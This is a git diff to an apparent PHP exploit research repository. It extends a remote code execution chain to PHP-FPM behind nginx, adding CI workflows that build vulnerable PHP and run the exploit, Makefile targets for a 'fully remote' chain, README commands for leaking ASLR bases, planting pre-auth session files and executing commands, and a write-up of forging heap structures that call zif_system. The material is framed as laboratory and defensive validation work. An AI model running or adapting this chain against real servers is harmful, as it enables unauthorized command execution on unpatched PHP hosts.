diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index e60ca0c..4d7a448 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -1,4 +1,4 @@ -name: ci +name: CI on: push: @@ -8,26 +8,81 @@ on: permissions: contents: read +concurrency: + group: ci-${{ github.ref }} + cancel-in-progress: true + jobs: - tests: + test: + name: Python ${{ matrix.python-version }} runs-on: ubuntu-latest strategy: + fail-fast: false matrix: - python-version: ["3.11", "3.12"] + python-version: ["3.11", "3.12", "3.13"] steps: - - uses: actions/checkout@v4 - - uses: actions/setup-python@v5 + - name: Check out + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} + cache: pip + cache-dependency-path: requirements-dev.txt + + - name: Install test dependencies + run: python -m pip install --upgrade pip -r requirements-dev.txt + + - name: Lint + run: ruff check tools tests + + - name: Compile Python + run: python -m compileall -q tools tests + + - name: Check shell syntax + run: bash -n lab/fpm/build_php.sh lab/fpm/build_nginx.sh lab/fpm/build_all.sh + - name: Unit tests run: PYTHONDONTWRITEBYTECODE=1 python -m unittest discover -s tests -v + - name: Validate build profiles against schema + run: | + python - <<'PY' + import json + from pathlib import Path + import jsonschema + + schema = json.loads(Path("profiles/schema.json").read_text()) + for path in sorted(Path("profiles").glob("*.json")): + if path.name in ("schema.json", "fpm-schema.json"): + continue + jsonschema.validate(json.loads(path.read_text()), schema) + print(f"{path}: valid") + PY + + - name: Validate PHP-FPM profiles against the FPM schema + run: | + python - <<'PY' + import json + from pathlib import Path + import jsonschema + + schema = json.loads(Path("profiles/fpm-schema.json").read_text()) + for path in sorted(Path("profiles").glob("*-fpm.json")): + jsonschema.validate(json.loads(path.read_text()), schema) + print(f"{path}: valid") + PY + secrets: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - name: Check out + uses: actions/checkout@v4 with: fetch-depth: 0 - - uses: gitleaks/gitleaks-action@v2 + + - name: Gitleaks + uses: gitleaks/gitleaks-action@v2 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/.github/workflows/live-fpm.yml b/.github/workflows/live-fpm.yml new file mode 100644 index 0000000..7df481c --- /dev/null +++ b/.github/workflows/live-fpm.yml @@ -0,0 +1,52 @@ +name: Live FPM lab + +on: + workflow_dispatch: + +permissions: + contents: read + +jobs: + live: + name: Build and exploit PHP ${{ matrix.version }} + runs-on: ubuntu-latest + timeout-minutes: 90 + strategy: + fail-fast: false + matrix: + version: ["8.4.25", "8.4.26"] + steps: + - name: Check out + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: "3.12" + + - name: Install build dependencies + run: | + sudo apt-get update + sudo apt-get install -y build-essential curl tar libxml2-dev + + - name: Build nginx + run: lab/fpm/build_nginx.sh + + - name: Build PHP ${{ matrix.version }} + run: lab/fpm/build_php.sh ${{ matrix.version }} + + - name: Start lab + run: python3 tools/php2shell_fpm_labs.py up --only ${{ matrix.version }} + + - name: Enable ptrace for the oracle test + run: sudo sysctl -w kernel.yama.ptrace_scope=0 + + - name: Run live tests + env: + PHP2SHELL_FPM_LAB: "1" + PHP2SHELL_FPM_VERSION: ${{ matrix.version }} + run: python3 -m unittest tests.test_fpm.FpmLabIntegrationTests -v + + - name: Stop lab + if: always() + run: python3 tools/php2shell_fpm_labs.py down diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..f54ee8c --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,21 @@ +name: Release + +on: + push: + tags: ["v*"] + +permissions: + contents: write + +jobs: + release: + name: Publish GitHub release + runs-on: ubuntu-latest + steps: + - name: Check out + uses: actions/checkout@v4 + + - name: Create release + uses: softprops/action-gh-release@v2 + with: + generate_release_notes: true diff --git a/.gitignore b/.gitignore index bf1102c..7352274 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,5 @@ __pycache__/ vendor/ lab/wordpress/wp/ lab/rce/out/ +lab/fpm/runtime/ +lab/fpm/webroot/out/ diff --git a/Makefile b/Makefile index 71e5143..49c75d2 100644 --- a/Makefile +++ b/Makefile @@ -1,40 +1,118 @@ -.PHONY: bootstrap test labs-up labs-down labs-status labs-test lint clean +.PHONY: help test lint secrets ci bootstrap inventory validate-profiles validate-fpm \ + build-nginx build-php build-all profile-draft calibrate-remote remote matrix \ + labs-up labs-down labs-status labs-test \ + labs-fpm-up labs-fpm-down labs-fpm-status labs-fpm-smoke labs-fpm-ports labs-fpm-test \ + clean -bootstrap: ## Fetch and pin the upstream exploit - python3 tools/bootstrap_upstream.py +help: ## Show this help + @grep -E '^[a-zA-Z0-9_.-]+:.*##' $(MAKEFILE_LIST) | \ + awk 'BEGIN {FS = ":.*## "}; {printf " \033[36m%-20s\033[0m %s\n", $$1, $$2}' test: ## Run the unit test suite - python3 -m unittest discover -s tests -v - -lint: ## Run gitleaks to detect leaked secrets - gitleaks detect --source . --no-git --redact -v + PYTHONDONTWRITEBYTECODE=1 python3 -m unittest discover -s tests -v -labs-up: ## Start all local laboratories (ports 8100-8106) - python3 tools/php2shell_labs.py up +lint: ## Run ruff on the Python tools and tests + ruff check tools tests -labs-down: ## Stop all local laboratories - python3 tools/php2shell_labs.py down +secrets: ## Run gitleaks to detect leaked secrets + gitleaks detect --source . --no-git --redact -v -labs-status: ## Show laboratory container status - python3 tools/php2shell_labs.py status +ci: lint test validate-profiles validate-fpm ## Run the fast CI checks locally -labs-test: ## Run the dispatcher against each lab - python3 tools/php2shell_labs.py test +bootstrap: ## Fetch and pin the upstream exploit + python3 tools/bootstrap_upstream.py inventory: ## Print the profile and offset inventory python3 tools/php2shell_inventory.py -validate-profiles: ## Validate profiles (requires jsonschema) +validate-profiles: ## Validate every build profile against the generic schema python3 -c "import json, jsonschema; \ schema = json.load(open('profiles/schema.json')); \ from pathlib import Path; \ [jsonschema.validate(json.loads(p.read_text()), schema) or print(f' ok {p.name}') \ - for p in sorted(Path('profiles').glob('*.json')) if p.name != 'schema.json']" + for p in sorted(Path('profiles').glob('*.json')) \ + if p.name not in ('schema.json', 'fpm-schema.json')]" + +validate-fpm: ## Validate the PHP-FPM profiles against the FPM schema + python3 -c "import glob, json, jsonschema; \ + s = json.load(open('profiles/fpm-schema.json')); \ + [jsonschema.validate(json.load(open(p)), s) or print(f' ok {p}') \ + for p in sorted(glob.glob('profiles/*-fpm.json'))]" + +# --------------------------------------------------------------------------- # +# PHP-FPM laboratory (nginx + PHP-FPM, user prefix, no Docker) +# --------------------------------------------------------------------------- # + +build-nginx: ## Build nginx into lab/fpm/runtime + lab/fpm/build_nginx.sh + +build-php: ## Build a PHP version into lab/fpm/runtime (VERSION=8.4.26) + @test -n "$(VERSION)" || \ + (echo "usage: make build-php VERSION=8.4.26"; exit 2) + lab/fpm/build_php.sh "$(VERSION)" + +build-all: ## Build several PHP versions (VERSIONS="8.4.25 8.4.26") + @test -n "$(VERSIONS)" || \ + (echo "usage: make build-all VERSIONS=\"8.4.25 8.4.26\""; exit 2) + lab/fpm/build_all.sh $(VERSIONS) + +profile-draft: ## Generate a draft FPM profile (PHP_FPM=... VERSION=...) + @test -n "$(PHP_FPM)" -a -n "$(VERSION)" || \ + (echo "usage: make profile-draft PHP_FPM=/path/to/php-fpm VERSION=8.4.25"; exit 2) + python3 tools/php2shell_fpm_profile.py --php-fpm "$(PHP_FPM)" --version "$(VERSION)" + +calibrate-remote: ## Discover a profile over HTTP only (VERSION=... BASE=... BUILDER=...) + @test -n "$(VERSION)" || \ + (echo "usage: make calibrate-remote VERSION=8.2.34 BASE=http://127.0.0.1:8406 BUILDER=http://127.0.0.1:8407"; exit 2) + python3 tools/php2shell_fpm.py --version "$(VERSION)" \ + --base "$(BASE)" --builder "$(BUILDER)" calibrate + +remote: ## Run the 100%-remote chain (VERSION=... BASE=... BUILDER=...) + @test -n "$(VERSION)" || \ + (echo "usage: make remote VERSION=8.2.34 BASE=http://127.0.0.1:8406 BUILDER=http://127.0.0.1:8407"; exit 2) + python3 tools/php2shell_fpm.py --version "$(VERSION)" \ + --base "$(BASE)" --builder "$(BUILDER)" \ + --command "id>out/remote-$(VERSION)" --proof-file "out/remote-$(VERSION)" \ + no-oracle + +matrix: ## Verify the remote chain on every unpatched build + python3 tools/php2shell_fpm_matrix.py + +# --------------------------------------------------------------------------- # +# Laboratories +# --------------------------------------------------------------------------- # + +labs-up: ## Start all local Docker laboratories (ports 8100-8106) + python3 tools/php2shell_labs.py up + +labs-down: ## Stop all local Docker laboratories + python3 tools/php2shell_labs.py down + +labs-status: ## Show Docker laboratory container status + python3 tools/php2shell_labs.py status + +labs-test: ## Run the dispatcher against each Docker lab + python3 tools/php2shell_labs.py test + +labs-fpm-up: ## Start the nginx + PHP-FPM laboratories (no Docker) + python3 tools/php2shell_fpm_labs.py up + +labs-fpm-down: ## Stop the nginx + PHP-FPM laboratories + python3 tools/php2shell_fpm_labs.py down + +labs-fpm-status: ## Show FPM laboratory status + python3 tools/php2shell_fpm_labs.py status + +labs-fpm-smoke: ## Check the FPM lab endpoints + python3 tools/php2shell_fpm_labs.py smoke + +labs-fpm-ports: ## Print the FPM lab port map + python3 tools/php2shell_fpm_labs.py ports + +labs-fpm-test: ## Run primitive + endgame against the FPM lab + python3 tools/php2shell_fpm_labs.py test clean: ## Remove generated files and vendor checkout rm -rf vendor/php2shell-upstream rm -rf lab/rce/out/ - -help: ## Show this help - @grep -E '^[a-zA-Z_-]+:.*##' $(MAKEFILE_LIST) | \ - awk 'BEGIN {FS = ":.*## "}; {printf " \033[36m%-20s\033[0m %s\n", $$1, $$2}' + rm -rf lab/fpm/webroot/out/ diff --git a/README.md b/README.md index 4a2fe77..d7afffb 100644 --- a/README.md +++ b/README.md @@ -15,10 +15,11 @@ > triggers pre-RINIT out-of-memory conditions and kills Apache children. PHP2Shell is a research workspace for the `session.upload_progress` OOM / -stale-pointer chain in PHP's Apache module. It packages a version-aware -dispatcher, a per-build profile engine, reproducible laboratories, a calibration -factory and runtime instrumentation around the public research exploit by -[9bie](https://github.com/9bie/php2shell-bypass-aslr-exp). +stale-pointer chain in PHP's Apache module, plus the PHP-FPM variant that +exploits the same CVEs through the stale `BG(unserialize)` state. It packages a +version-aware dispatcher, a per-build profile engine, reproducible laboratories, +a calibration factory and runtime instrumentation around the public research +exploit by [9bie](https://github.com/9bie/php2shell-bypass-aslr-exp). The goal is reproducible research and defensive validation, not mass exploitation. The dispatcher refuses to guess: it stops when the build has no @@ -35,6 +36,11 @@ not match the profile. | PHP 8.5.11 amd64 | `php:8.5.11-apache` | `php-8.5.11-bookworm-amd64` | yes | yes | **yes** | separate offsets, same `htdata` | | PHP 8.5.10 aarch64 | `php:8.5.10-apache` | `php-8.5.10-bookworm-aarch64` | yes | yes | **yes** | `uid=33(www-data)` | | PHP 8.4.26 amd64 | `php:8.4.26-apache` | `php-8.4.26-bookworm-amd64` | yes | yes | **yes** | reference build | +| PHP 8.4.26 FPM amd64 | php-8.4.26 source tarball (nginx+FPM) | `php-8.4.26-fpm` | http (stale string) | http (stale string) | **yes** | `BG(unserialize)` chain; two-slot reclaim; HTTP-only `no-oracle` endgame | +| PHP 8.4.25 FPM amd64 | php-8.4.25 source tarball (nginx+FPM) | `php-8.4.25-fpm` | http (stale string) | http (stale string) | **yes** | same chain, calibrated geometry | +| PHP 8.4.0 FPM amd64 | php-8.4.0 source tarball (nginx+FPM) | `php-8.4.0-fpm` | http (stale string) | http (stale string) | **yes** | earliest 8.4 release of the branch | +| PHP 8.3.35 FPM amd64 | php-8.3.35 source tarball (nginx+FPM) | `php-8.3.35-fpm` | http (stale string) | http (stale string) | **yes** | last vulnerable 8.3 | +| PHP 8.2.34 FPM amd64 | php-8.2.34 source tarball (nginx+FPM) | `php-8.2.34-fpm` | http (stale string) | http (stale string) | **yes** | last vulnerable 8.2 | | PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries | | PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found | | PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive | @@ -46,14 +52,24 @@ not match the profile. | PHP 7.4.33 aarch64 | `php:7.4-apache` | `php-7.4.33-bookworm-aarch64` | no | no | no | UAF; leak shape differs | | PHP 8.2.0 aarch64 | `php:8.2.0-apache` | — (offsets only) | n/a | n/a | no | no heap profile | -**13 heap profiles, 5 with verified RCE. Offsets extracted for 12 builds.** - -`Heap leak` is stage 1, `libphp leak` is stage 2 and `RCE` is a real command -proof on an isolated lab. `no` means not verified, not necessarily impossible; -`n/a` means no heap profile exists for that build. The 8.2.0 row is an -offsets-only entry. All `yes` rows use the lab configuration: Apache prefork +**18 profiles (13 Apache/mod_php + 5 PHP-FPM), 10 with verified RCE. Offsets +extracted for 12 Apache builds.** The PHP-FPM profiles have no Apache leak +stages: the chain abuses the stale `BG(unserialize)` struct instead. +`no-oracle` is fully remote — it leaks the chunk and php-fpm PIE bases over +HTTP from a stale-session string OOB read (or takes them from `--chunk`/ +`--pie`) and fires without touching `/proc//mem`; the lab-only `endgame` +can still read them through the oracle +([docs/fpm-chain.md](docs/fpm-chain.md)). + +`Heap leak` is stage 1 and `libphp leak` is stage 2; `oracle (heap)` and +`oracle (PIE)` mean the FPM chain reads the heap chunk and the php-fpm PIE base +from `/proc//mem` in local lab mode instead. `RCE` is a real command proof +on an isolated lab. `no` means not verified, not necessarily impossible; `n/a` +means no heap profile exists for that build. The 8.2.0 row is an +offsets-only entry. All `yes` Apache rows use the lab configuration: prefork `mod_php`, one worker, `display_errors=On`, `memory_limit=8M` and -`session.upload_progress=On`. Per-image offsets and `libphp` sha256 are in +`session.upload_progress=On`; the FPM row uses the nginx+FPM lab. Per-image +offsets and `libphp` sha256 are in [the offset inventory](docs/offset-inventory.md). The 8.4.25 profile needs the default retries because its stage 3 is probabilistic. @@ -75,6 +91,21 @@ default retries because its stage 3 is probabilistic. - **Command staging** — on local labs `-c` accepts commands of any length, stages them in `/out/c` and captures the output. `--script` and `--interactive` provide batch and REPL modes. +- **FPM exploitation chain** — `tools/php2shell_fpm.py` exploits the same + CVEs against PHP-FPM behind nginx: an out-of-memory request leaves the + `BG(unserialize)` pointer stale, the next request reclaims the struct, and a + forged session variable turns the session shutdown path into `zif_system`. + Verified command execution on 8.2.34, 8.3.35, 8.4.0, 8.4.25 and 8.4.26; + `patchcheck` proves 8.4.27 is clean. `calibrate` derives the leak and + reclaim geometry of any 8.0+ build over HTTP only; `poison` (the + `session.upload_progress` session-file plant) covers PHP 5.4-7.x where the + struct-freeing chain does not apply; `php2shell_fpm_matrix.py` verifies the + whole unpatched set in one run. The `no-oracle` endgame is fully remote — + no `/proc//mem`, no local shell. +- **PHP version registry** — `tools/php2shell_fpm_versions.py` is the single + source of truth for the affected-version matrix: `is_vulnerable()`, + `fixed_in()`, `source_is_fixed()` classifies a tarball by the presence of the + upstream fix marker instead of trusting a version string. - **Calibration factory** — `php2shell_calibrate.py` discovers stages 1-2 and verifies stage 3 with a real proof before writing `rce: true`; `php2shell_matrix.py` runs the factory over a matrix of images. @@ -139,6 +170,52 @@ python3 tools/php2shell_labs.py status python3 tools/php2shell_inventory.py ``` +### PHP-FPM laboratory (no Docker) + +The FPM chain runs against an amd64 user-prefix PHP build with nginx — no +Docker, no root. Build nginx and a vulnerable PHP (any of 8.2.34, 8.3.35, +8.4.0, 8.4.25 or 8.4.26), then start the lab for that version: + +```sh +lab/fpm/build_nginx.sh +lab/fpm/build_php.sh 8.4.26 +python3 tools/php2shell_fpm_labs.py up --only 8.4.26 +python3 tools/php2shell_fpm_labs.py status +``` + +The default `endgame` uses the `/proc//mem` oracle (`ptrace_scope=0`); +`no-oracle` is fully remote and leaks chunk/PIE over HTTP by default: + +```sh +python3 tools/php2shell_auto.py -u http://127.0.0.1:8110/index.php --sapi fpm \ + --builder http://127.0.0.1:8111 +# or drive the chain directly: +python3 tools/php2shell_fpm.py \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \ + endgame +# fully remote RCE: HTTP leak, no /proc at exploit time (--chunk/--pie override) +python3 tools/php2shell_fpm.py \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \ + --command 'id>out/p1' --proof-file out/p1 no-oracle +# print only the leaked bases +python3 tools/php2shell_fpm.py \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 leak +# derive a profile for any 8.0+ build over HTTP, then trust it: +python3 tools/php2shell_fpm.py \ + --version 8.2.34 --base http://127.0.0.1:8406 --builder http://127.0.0.1:8407 calibrate +# PHP <= 7.x: plant chosen bytes into a chosen session file (pre-auth) +python3 tools/php2shell_fpm.py \ + --version 7.4.33 --base http://127.0.0.1:8336 --builder http://127.0.0.1:8337 \ + poison --sid plant7x --payload 'PLANTED_MARKER' +# verify the remote chain on every unpatched build in one run (7.2 -> 8.4) +python3 tools/php2shell_fpm_matrix.py +python3 tools/php2shell_fpm_labs.py down +``` + +The consumer request exits with HTTP 502 (the worker dies after firing +`zif_system`); the proof is written by the command itself and served statically +from `/out/`. See [docs/fpm-chain.md](docs/fpm-chain.md). + ## How it works The chain abuses the `session.upload_progress` callback that runs **before** @@ -158,6 +235,31 @@ the request startup (pre-RINIT) and therefore before the target script: The full technical write-up, including the session lifecycle and the heap grooming, is in [docs/php2shell-analysis.md](docs/php2shell-analysis.md). +### PHP-FPM chain + +The FPM lifecycle differs from mod_php: a pre-RINIT OOM kills the worker +outright (`FPM_EXIT_SOFTWARE`), so the Apache stage-1/2/3 carrier does not +transfer. The FPM chain instead abuses the stale `BG(unserialize)` state: + +1. **Arm.** An out-of-memory multipart request aborts between + `php_var_unserialize_init` and `php_var_unserialize_destroy`, leaving + `BG(unserialize).data` dangling and `level=1`. The next request that reaches + RINIT memsets `BG` — so the stale window is one request wide. +2. **Locate and reclaim.** The stale 8216-byte `php_unserialize_data` struct is + found with the `/proc//mem` oracle (two candidate heap slots; a mismatch + self-corrects on retry); `no-oracle` skips the mem read and tries both slots + directly. A 4 MB body posted to a second endpoint (the builder pool) + reclaims the chunk. +3. **Forge and fire.** The reclaimed buffer carries a fake `zend_reference` + whose `val` is a fake array whose `pDestructor` is `zif_system`. The consume + request attaches it as session variable `r`; at session shutdown + `zval_ptr_dtor(&PS(http_session_vars))` destroys the reference, the array + destructor loop calls `zif_system(frame)` with the argument at `execute_data + + 0x50` — a fake `zend_string` holding the command. + +`cmd_patchcheck` verifies the stale arm on 8.4.26 and that 8.4.27 (`level=0`) +is clean. Details in [docs/fpm-chain.md](docs/fpm-chain.md). + A profile is per build: ```json @@ -181,6 +283,10 @@ offsets: even when the version has a single profile. HTTP does not expose the CPU architecture, so the dispatcher refuses instead of guessing. +The FPM profile (`php-8.4.26-fpm`) is an **amd64** user-prefix build of the +8.4.26 source tarball. It runs only in the local nginx+FPM laboratory, so the +oracle selects the build and there is no remote architecture dispatch. + ## Configuration requirements The shipped calibration targets: @@ -191,9 +297,14 @@ The shipped calibration targets: `session.use_strict_mode=0`. A hardened production PHP (128M+, `display_errors=Off`, multiple workers, FPM) -does not match the shipped calibration. Multi-worker targets are handled with -`--pin-workers`; `display_errors=Off` and FPM remain open research items (see -Limitations). +does not match the shipped Apache calibration. Multi-worker Apache targets are +handled with `--pin-workers`; `display_errors=Off` remains an open research +item. The FPM chain has its own requirements: nginx in front of FPM, a small +consumer pool (`memory_limit=8M`, cleanup on) and a larger builder pool (64M, +cleanup off) for the 4 MB arm phase, sharing a session directory. The +`no-oracle` endgame is fully remote; only the lab `endgame`/`primitive` modes +additionally need `/proc//mem` (`yama ptrace_scope=0`) — see +[docs/fpm-chain.md](docs/fpm-chain.md). ## Multi-worker targets @@ -272,17 +383,29 @@ git -C vendor/php2shell-upstream checkout 4586f5c ```text catalog/vulnerable.json vulnerable branches and fixed releases -.github/workflows/ci.yml tests and gitleaks -profiles/*.json heap profiles (offsets, heap params, verified flag) +.github/workflows/ci.yml tests, profile validation and gitleaks +.github/workflows/live-fpm.yml manual live FPM lab (build + exploit 8.4.x) +.github/workflows/release.yml GitHub release on v* tags +profiles/*.json build profiles (offsets, heap params, verified flag) +profiles/*-fpm.json verified PHP-FPM profiles (8.2.34 - 8.4.26) +profiles/schema.json generic build-profile validator +profiles/fpm-schema.json strict PHP-FPM profile validator profiles/offsets/*.json ELF symbol offsets per image +requirements-dev.txt jsonschema + ruff (dev/CI) vendor/ generated upstream checkout (git-ignored) tools/ - php2shell_auto.py version-aware dispatcher - php2shell_calibrate.py profile generator with proof verification - php2shell_matrix.py profile factory over image tags + php2shell_auto.py version-aware dispatcher (Apache + FPM) + php2shell_fpm.py PHP-FPM client (calibrate/poison/leak/no-oracle/endgame) + php2shell_fpm_labs.py user-prefix FPM laboratories (no Docker) + php2shell_fpm_matrix.py verify the remote chain on every unpatched build + php2shell_fpm_profile.py draft FPM profile generator (nm + offsets) + php2shell_fpm_versions.py affected-version registry (single source of truth) + php2shell_fpm_offsets.c struct offsets compiled per build + php2shell_calibrate.py Apache profile generator with proof verification + php2shell_matrix.py Apache profile factory over image tags php2shell_rce.py manual upstream launcher php2shell_assess.py exposure/leak assessment (no RCE claim) - php2shell_labs.py disposable local laboratories + php2shell_labs.py disposable local Apache laboratories php2shell_offsets.py ELF offset extraction for any image php2shell_inventory.py profile/offset table php2shell_paths.py upstream checkout resolution @@ -292,8 +415,10 @@ tools/ lab/ wordpress/ WordPress 8.3.33 + mod_php laboratory rce/ single-worker calibration lab and configs + fpm/ nginx + PHP-FPM laboratory (7.2 - 8.4; build_*.sh) docs/ php2shell-analysis.md technical analysis + fpm-chain.md PHP-FPM chain and laboratory rce-guide.md full RCE guide and profile schema exploit-report.md laboratory results labs.md laboratory reference @@ -368,8 +493,12 @@ OOM, which is why the 8.4/8.5 stage-3 carrier does not transfer. ## Limitations -- **mod_php prefork only.** PHP-FPM has a different lifecycle; the chain does - not transfer as-is and FPM is not supported. +- **mod_php prefork and FPM.** The Apache chain needs prefork + `mod_php`; the + FPM chain needs nginx + FPM with two endpoints (a low-memory consumer pool and + a high-memory builder pool) and a session directory shared between them. Only + the lab-only `endgame`/`primitive` oracle modes need `/proc//mem` + (`ptrace_scope=0`); `no-oracle` is fully remote. Other SAPIs are not + supported. - **One worker / pinning.** Without pinning, the per-worker session state breaks stage 1. - **Per-build offsets.** A profile is tied to a `libphp.so` build; the same @@ -392,6 +521,7 @@ OOM, which is why the 8.4/8.5 stage-3 carrier does not transfer. ## Documentation - [Technical analysis](docs/php2shell-analysis.md) +- [PHP-FPM chain](docs/fpm-chain.md) - [RCE guide and profile schema](docs/rce-guide.md) - [Laboratory results](docs/exploit-report.md) - [Laboratories](docs/labs.md) diff --git a/docs/fpm-chain.md b/docs/fpm-chain.md new file mode 100644 index 0000000..a9240ef --- /dev/null +++ b/docs/fpm-chain.md @@ -0,0 +1,394 @@ +# The PHP-FPM chain + +The upstream Apache chain (CVE-2026-109618 / CVE-2026-109619, stages 1-3) +needs a pre-RINIT out-of-memory bailout. Under PHP-FPM that bailout is fatal: +`fpm_main.c` treats it as `FPM_EXIT_SOFTWARE` and kills the worker, so the +Apache progress-cache UAF never survives to the next request. + +The FPM-viable primitive is the **stale `BG(unserialize)` state** — the same +CVEs through a different window. Verified end-to-end on PHP 8.2.34, 8.3.35, +8.4.0, 8.4.25 and 8.4.26 (amd64, Debian-style user-prefix builds) in the local +laboratory; `cmd_patchcheck` confirms 8.4.27 leaves `level=0` (clean). PHP +<= 7.x cannot use this struct-freeing chain, but the same +`session.upload_progress` surface gives a pre-auth **session-file plant** +(`poison`), covered below. + +> **Authorized testing only.** The chain is disruptive: it sends multi-megabyte +> bodies, triggers out-of-memory conditions and kills FPM workers. Use it only +> against systems you own or have written permission to test. + +## Why FPM differs from mod_php + +In mod_php the Apache chain reuses per-request heap state across HTTP +requests handled by the same prefork child. FPM's worker lifecycle differs in +two ways: + +1. A pre-RINIT OOM kills the whole worker (`fpm_main.c:1871` → + `FPM_EXIT_SOFTWARE`), so the progress-cache UAF cannot be consumed later. +2. `PHP_RINIT(basic)` runs `memset(&BG, 0, ...)` on **every** request that + reaches RINIT, wiping `BG(unserialize)` — the stale window is exactly one + request wide. + +The chain therefore has to *re-claim* the stale struct inside the request that +still sees it, before RINIT runs. The rfc1867 multipart upload handler gives +exactly that window. + +## Affected versions + +`tools/php2shell_fpm_versions.py` is the single source of truth for the +affected-version matrix. Every release before the branch fix is vulnerable: + +| Branch | Vulnerable | Fixed | This repository | +| --- | --- | --- | --- | +| 8.4 | 8.4.0 – 8.4.26 | 8.4.27 | **verified profiles (8.4.0, 8.4.25, 8.4.26)** | +| 8.3 | 8.3.0 – 8.3.35 | 8.3.36 | **verified profile (8.3.35)** | +| 8.2 | 8.2.0 – 8.2.34 | 8.2.35 | **verified profile (8.2.34)** | +| 7.4 / 7.2 (and older) | every release | **never patched** | session-file plant (`poison`); no struct-freeing chain | + +(PHP 8.5 is fixed in 8.5.12 and is intentionally out of scope here.) +`is_vulnerable()`, `fixed_in()`, `affected_versions()` and `source_is_fixed()` +(which classifies a tarball by the presence of the upstream fix marker rather +than a version string) all resolve through that registry, and +`has_session_cancel_decode()` decides whether the struct-freeing chain can +apply to a build at all (it needs PHP 8.0+). + +## The chain + +All offsets are per build and live in `profiles/8.4.26-fpm.json` +(`fpm.basic_globals`, `fpm.bg_unserialize_*`, `libphp.zif_system` / +`libphp.zval_ptr_dtor`). Two structures matter (verified against the 8.4.26 +sources): + +- `BG(unserialize)` in `php_basic_globals` + (`ext/standard/basic_functions.h`) is + `{ struct php_unserialize_data *data; unsigned level; }` — `data` at + `basic_globals + 872`, `level` at `+880` (the `fpm.bg_unserialize_*` + profile fields). +- `struct php_unserialize_data` (`ext/standard/var_unserializer.re`) is + `{ var_entries *last; var_dtor_entries *first_dtor, *last_dtor; + HashTable *allowed_classes, *ref_props; zend_long cur_depth, max_depth; + var_entries entries; }` with + `var_entries = { zend_long used_slots; void *next; zval *data[1018]; }` — + 56 + 8160 = **8216 bytes** (`fpm.struct_size`). The forged `R:2` target + lands in `entries.data[]`; the reclaim buffer overwrites the whole chunk. + +### 1. Arm — post-RINIT OOM leaves `BG(unserialize)` stale + +`producer` sends `GET app.php` with a cookie naming a large session +(`~4 MB`, built once by the builder pool with `cleanup=Off`). +`session_start()` decodes the session **post-RINIT**; the decode pushes +`level` to 1 and allocates the 8216-byte struct at `d`; the allocation storm +then hits `memory_limit=8M` and bails out. `zend_try` in `php_execute_script` +catches the bailout, the worker survives, and `BG(unserialize)` keeps +`{level=1, data=d}` pointing at the teardown-freed struct. + +At this point `d` is dangling: the only live reference in the engine is the +stale `BG` pair. Every subsequent request that reaches RINIT memsets `BG`, so +the consumer must arrive *before* its own RINIT. + +### 2. Locate and reclaim (oracle lab mode) + +`Oracle` (local lab only) reads `/proc//mem` at +`basic_globals + 872/+880` to get `d` and `level`, plus the worker's PIE base +for the FNM offsets. Two heap slots recycle the struct +(`0x7f07be280000` / `0x7f07be281000` on the reference build); a mismatch +self-corrects on retry (`cmd_endgame` verifies probe-arm `d` equals +consume-arm `d` and retries up to 4×, rebuilding the oracle after a dead +worker). + +The consume request is a multipart POST (pre-RINIT): the rfc1867 handler runs +inside `php_hash_environment()`, i.e. **before** `zend_activate_modules()` +where `PHP_RINIT(basic)` would memset `BG`. `php_session_initialize()` → +`php_session_decode()` → `php_var_unserialize_init()` **reuses** `d`. A 4 MB +body (the `reclaim` part) reclaims `d`'s slot; the controlled content plants a +forged `var_entries` at the exact offsets of the original struct. + +The 4 MB arm phase is posted to a **second endpoint** (the builder pool, +`memory_limit=64M`, `cleanup=Off`): posting it to the 8M chain pool would kill +the consumer worker before the fire. + +### 2b. HTTP-only endgame (no `/proc//mem`) + +`no-oracle` removes the memory oracle from the exploit path. It needs two +absolute values that are stable for the lifetime of the FPM master (the +workers are forked from it): the Zend-MM chunk base and the php-fpm PIE base. +By default the client leaks both over HTTP; `--chunk`/`--pie` override them, +and local `/proc//maps` is only a fallback (it never opens +`/proc//mem`): + +```sh +python3 tools/php2shell_fpm.py \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \ + --version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \ + no-oracle +``` + +The 16384-byte reclaim covers both struct slots: `d = chunk + 0x81000` +with control offset `0xfe8`, and `d = chunk + 0x82000` with `0x1fe8` +(`fpm.no_oracle.candidates` in the profile). A throw-away pads+big request +normalizes the heap after the first arm, so the first candidate usually wins; +a mismatch crashes the worker and the next candidate is tried. The worker +still dies on success (HTTP 502) and the proof is the command's output file. + +The HTTP leak reuses the stale-session string: the builder's `bigvar.php` +stores `k0..k3` before a 4 MB tail, a reclaimed 16 KB big field plants a forged +`zend_string` header over the freed k1 slot, its length spans the stale zval +array (chunk pointer) and the `execute_ex` handler table inside the chunk (PIE +pointer), and the app reflects the bytes. The read is retried because the +worker can abort after answering; `leak` prints the two bases. +Absolute bases change when the master restarts, so the leak is repeated per +run. This mode removes both the runtime `/proc//mem` dependency and the +need to know the ASLR bases in advance. + +### 3. Forge — reference → fake array → `zif_system` + +The reclaimed buffer carries, at the offsets `php_var_unserialize` will read: + +- a fake `zend_reference` (`IS_REFERENCE`, refcount 0) whose `val.type` is + `IS_ARRAY` and whose `gc`/`val` buffers point into the same chunk; +- a fake `zend_array` (`zend_array` layout: `arData`, `nNumUsed`, `flags = + HASH_FLAG_STATIC_KEYS (0x10)`, `pDestructor = zif_system`) with one bucket; 